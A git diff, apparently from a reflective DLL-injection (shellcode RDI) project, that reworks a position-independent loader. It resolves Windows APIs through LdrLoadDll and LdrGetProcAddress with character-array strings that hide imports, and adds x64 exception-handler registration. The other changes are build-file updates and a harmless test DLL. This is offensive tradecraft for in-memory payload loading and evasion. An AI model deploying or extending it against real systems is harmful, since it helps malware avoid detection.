SYSTEM_INFO sysInfo; // General - PBYTE libraryAddress; DWORD funcHash; DWORD importCount; + HANDLE library; + + // String + UNICODE_STRING uString = { 0 }; + STRING aString = { 0 }; + + WCHAR sKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}; + + // At a certain length (15ish), the compiler with screw with inline + // strings declared as CHAR. No idea why, use BYTE to get around it. + + BYTE sSleep[] = { 'S', 'l', 'e', 'e', 'p' }; + BYTE sLoadLibrary[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A' }; + BYTE sVirtualAlloc[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c' }; + BYTE sVirtualProtect[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't' }; + BYTE sFlushInstructionCache[] = { 'F', 'l', 'u', 's', 'h', 'I', 'n', 's', 't', 'r', 'u', 'c', 't', 'i', 'o', 'n', 'C', 'a', 'c', 'h', 'e' }; + BYTE sGetNativeSystemInfo[] = { 'G', 'e', 't', 'N', 'a', 't', 'i', 'v', 'e', 'S', 'y', 's', 't', 'e', 'm', 'I', 'n', 'f', 'o' }; + BYTE sRtlAddFunctionTable[] = { 'R', 't', 'l', 'A', 'd', 'd', 'F', 'u', 'n', 'c', 't', 'i', 'o', 'n', 'T', 'a', 'b', 'l', 'e' }; // Import obfuscation DWORD randSeed; @@ -151,17 +211,43 @@ ULONG_PTR LoadDLL(PBYTE dllData, DWORD dwFunctionHash, LPVOID lpUserData, DWORD // STEP 1: locate all the required functions /// - pLoadLibraryA = (LOADLIBRARYA)GetProcAddressWithHash(LOADLIBRARYA_HASH); - pGetProcAddress = (GETPROCADDRESS)GetProcAddressWithHash(GETPROCADDRESS_HASH); - pVirtualAlloc = (VIRTUALALLOC)GetProcAddressWithHash(VIRTUALALLOC_HASH); - pVirtualProtect = (VIRTUALPROTECT)GetProcAddressWithHash(VIRTUALPROTECT_HASH); - pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)GetProcAddressWithHash(NTFLUSHINSTRUCTIONCACHE_HASH); - pGetNativeSystemInfo = (GETNATIVESYSTEMINFO)GetProcAddressWithHash(GETNATIVESYSTEMINFO_HASH); - pSleep = (SLEEP)GetProcAddressWithHash(SLEEP_HASH); - /// pMessageBoxA = (MESSAGEBOXA)GetProcAddressWithHash(MESSAGEBOXA_HASH); + pLdrLoadDll = (LDRLOADDLL)GetProcAddressWithHash(LDRLOADDLL_HASH); + pLdrGetProcAddress = (LDRGETPROCADDRESS)GetProcAddressWithHash(LDRGETPROCADDRESS_HASH); - if (!pLoadLibraryA || !pGetProcAddress || !pVirtualAlloc || !pVirtualProtect || - !pNtFlushInstructionCache || !pGetNativeSystemInfo || !pSleep) { + uString.Buffer = sKernel32; + uString.MaximumLength = sizeof(sKernel32); + uString.Length = sizeof(sKernel32); + + //pMessageBoxA = (MESSAGEBOXA)GetProcAddressWithHash(MESSAGEBOXA_HASH); + + pLdrLoadDll(NULL, 0, &uString, &library); + + FILL_STRING_WITH_BUF(aString, sVirtualAlloc); + pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pVirtualAlloc); + + FILL_STRING_WITH_BUF(aString, sVirtualProtect); + pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pVirtualProtect); + + FILL_STRING_WITH_BUF(aString, sFlushInstructionCache); + pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pFlushInstructionCache); + + FILL_STRING_WITH_BUF(aString, sGetNativeSystemInfo); + pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pGetNativeSystemInfo); + + FILL_STRING_WITH_BUF(aString, sSleep); + pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pSleep); + + FILL_STRING_WITH_BUF(aString, sRtlAddFunctionTable); + pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pRtlAddFunctionTable); + + FILL_STRING_WITH_BUF(aString, sLoadLibrary); + pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pLoadLibraryA); + + //FILL_STRING_WITH_BUF(aString, sMessageBox); + //pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pMessageBoxA); + + if (!pVirtualAlloc || !pVirtualProtect || !pSleep || + !pFlushInstructionCache || !pGetNativeSystemInfo) { return 0; } @@ -287,7 +373,7 @@ ULONG_PTR LoadDLL(PBYTE dllData, DWORD dwFunctionHash, LPVOID lpUserData, DWORD /// dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; - randSeed = (DWORD)dllData; + randSeed = (DWORD)((ULONGLONG)dllData); if (dataDir->Size) { @@ -315,19 +401,21 @@ ULONG_PTR LoadDLL(PBYTE dllData, DWORD dwFunctionHash, LPVOID lpUserData, DWORD importDesc = RVA(PIMAGE_IMPORT_DESCRIPTOR, baseAddress, dataDir->VirtualAddress); for (; importDesc->Name; importDesc++) { - libraryAddress = (PBYTE)pLoadLibraryA((LPCSTR)(baseAddress + importDesc->Name)); + + library = pLoadLibraryA((LPSTR)(baseAddress + importDesc->Name)); + firstThunk = RVA(PIMAGE_THUNK_DATA, baseAddress, importDesc->FirstThunk); origFirstThunk = RVA(PIMAGE_THUNK_DATA, baseAddress, importDesc->OriginalFirstThunk); - // iterate through all imported functions, importing by ordinal if no name present for (; origFirstThunk->u1.Function; firstThunk++, origFirstThunk++) { if (IMAGE_SNAP_BY_ORDINAL(origFirstThunk->u1.Ordinal)) { - firstThunk->u1.Function = (ULONG_PTR)pGetProcAddress((HMODULE)libraryAddress, (LPCSTR)IMAGE_ORDINAL(origFirstThunk->u1.Ordinal)); + pLdrGetProcAddress(library, NULL, (WORD)origFirstThunk->u1.Ordinal, (PVOID *)&(firstThunk->u1.Function)); } else { importByName = RVA(PIMAGE_IMPORT_BY_NAME, baseAddress, origFirstThunk->u1.AddressOfData); - firstThunk->u1.Function = (ULONG_PTR)pGetProcAddress((HMODULE)libraryAddress, importByName->Name); + FILL_STRING(aString, importByName->Name); + pLdrGetProcAddress(library, &aString, 0, (PVOID*)&(firstThunk->u1.Function)); } } @@ -348,18 +436,19 @@ ULONG_PTR LoadDLL(PBYTE dllData, DWORD dwFunctionHash, LPVOID lpUserData, DWORD for (; delayDesc->DllNameRVA; delayDesc++) { - libraryAddress = (PBYTE)pLoadLibraryA((LPCSTR)(baseAddress + delayDesc->DllNameRVA)); + library = pLoadLibraryA((LPSTR)(baseAddress + delayDesc->DllNameRVA)); + firstThunk = RVA(PIMAGE_THUNK_DATA, baseAddress, delayDesc->ImportAddressTableRVA); origFirstThunk = RVA(PIMAGE_THUNK_DATA, baseAddress, delayDesc->ImportNameTableRVA); - // iterate through all imported functions, importing by ordinal if no name present for (; firstThunk->u1.Function; firstThunk++, origFirstThunk++) { if (IMAGE_SNAP_BY_ORDINAL(origFirstThunk->u1.Ordinal)) { - firstThunk->u1.Function = (ULONG_PTR)pGetProcAddress((HMODULE)libraryAddress, (LPCSTR)IMAGE_ORDINAL(origFirstThunk->u1.Ordinal)); + pLdrGetProcAddress(library, NULL, (WORD)origFirstThunk->u1.Ordinal, (PVOID *)&(firstThunk->u1.Function)); } else { importByName = RVA(PIMAGE_IMPORT_BY_NAME, baseAddress, origFirstThunk->u1.AddressOfData); - firstThunk->u1.Function = (ULONG_PTR)pGetProcAddress((HMODULE)libraryAddress, importByName->Name); + FILL_STRING(aString, importByName->Name); + pLdrGetProcAddress(library, &aString, 0, (PVOID *)&(firstThunk->u1.Function)); } } } @@ -413,10 +502,10 @@ ULONG_PTR LoadDLL(PBYTE dllData, DWORD dwFunctionHash, LPVOID lpUserData, DWORD } // We must flush the instruction cache to avoid stale code being used - pNtFlushInstructionCache((HANDLE)-1, NULL, 0); + pFlushInstructionCache((HANDLE)-1, NULL, 0); /// - // STEP 8: execute TLS callbacks + // STEP 8: Execute TLS callbacks /// dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS]; @@ -432,14 +521,28 @@ ULONG_PTR LoadDLL(PBYTE dllData, DWORD dwFunctionHash, LPVOID lpUserData, DWORD } /// - // STEP 9: call our images entry point + // STEP 9: Register exception handlers (x64 only) + /// + +#ifdef _WIN64 + dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION]; + + if (pRtlAddFunctionTable && dataDir->Size) + { + rfEntry = RVA(PIMAGE_RUNTIME_FUNCTION_ENTRY, baseAddress, dataDir->VirtualAddress); + pRtlAddFunctionTable(rfEntry, (dataDir->Size / sizeof(IMAGE_RUNTIME_FUNCTION_ENTRY)) - 1, baseAddress); + } +#endif + + /// + // STEP 10: call our images entry point /// dllMain = RVA(DLLMAIN, baseAddress, ntHeaders->OptionalHeader.AddressOfEntryPoint); dllMain((HINSTANCE)baseAddress, DLL_PROCESS_ATTACH, (LPVOID)1); /// - // STEP 10: call our exported function + // STEP 11: call our exported function /// if (dwFunctionHash) { diff --git a/ShellcodeRDI/ShellcodeRDI.vcxproj b/ShellcodeRDI/ShellcodeRDI.vcxproj index b1ca1e6..0c8e593 100644 --- a/ShellcodeRDI/ShellcodeRDI.vcxproj +++ b/ShellcodeRDI/ShellcodeRDI.vcxproj @@ -23,20 +23,20 @@ Win32Proj PIC_Bindshell ShellcodeRDI - 10.0.15063.0 + 10.0 Application false - v140 + v142 true Unicode Application false - v140 + v142 true Unicode @@ -50,14 +50,14 @@ Application false - v140 + v142 true Unicode Application false - v140 + v142 true Unicode diff --git a/TestDLL/TestDLL.vcxproj b/TestDLL/TestDLL.vcxproj index b0a38c6..55a12ef 100644 --- a/TestDLL/TestDLL.vcxproj +++ b/TestDLL/TestDLL.vcxproj @@ -22,32 +22,32 @@ {558D08E4-48B4-4E5F-94E5-5783CF0557C4} Win32Proj TestDLL - 10.0.15063.0 + 10.0 DynamicLibrary true - v140 + v142 Unicode DynamicLibrary false - v140 + v142 true Unicode DynamicLibrary true - v140 + v142 Unicode DynamicLibrary false - v140 + v142 true Unicode @@ -89,6 +89,7 @@ Disabled WIN32;_DEBUG;_WINDOWS;_USRDLL;TESTDLL_EXPORTS;%(PreprocessorDefinitions) MultiThreadedDebug + Async Windows @@ -106,6 +107,7 @@ Disabled _DEBUG;_WINDOWS;_USRDLL;TESTDLL_EXPORTS;%(PreprocessorDefinitions) MultiThreadedDebug + Async Windows @@ -125,6 +127,7 @@ true WIN32;NDEBUG;_WINDOWS;_USRDLL;TESTDLL_EXPORTS;%(PreprocessorDefinitions) MultiThreaded + Async Windows @@ -146,6 +149,7 @@ true NDEBUG;_WINDOWS;_USRDLL;TESTDLL_EXPORTS;%(PreprocessorDefinitions) MultiThreaded + Async Windows diff --git a/TestDLL/dllmain.cpp b/TestDLL/dllmain.cpp index 5608f83..268f7fd 100644 --- a/TestDLL/dllmain.cpp +++ b/TestDLL/dllmain.cpp @@ -24,7 +24,16 @@ BOOL APIENTRY DllMain( HMODULE hModule, //extern "C" to prevent C++ name mangling extern "C" __declspec(dllexport) BOOL SayGoodbye(LPVOID lpUserdata, DWORD nUserdataLen) { + try { + int i = 0, j = 1; + j /= i; // This will throw a SE (divide by zero). + } + catch (...) { + MessageBoxA(NULL, "C++ Exception Thrown!", "Caught it", 0); + } + MessageBoxA(NULL, "I'm Leaving!", "Goodbye", 0); + return TRUE; }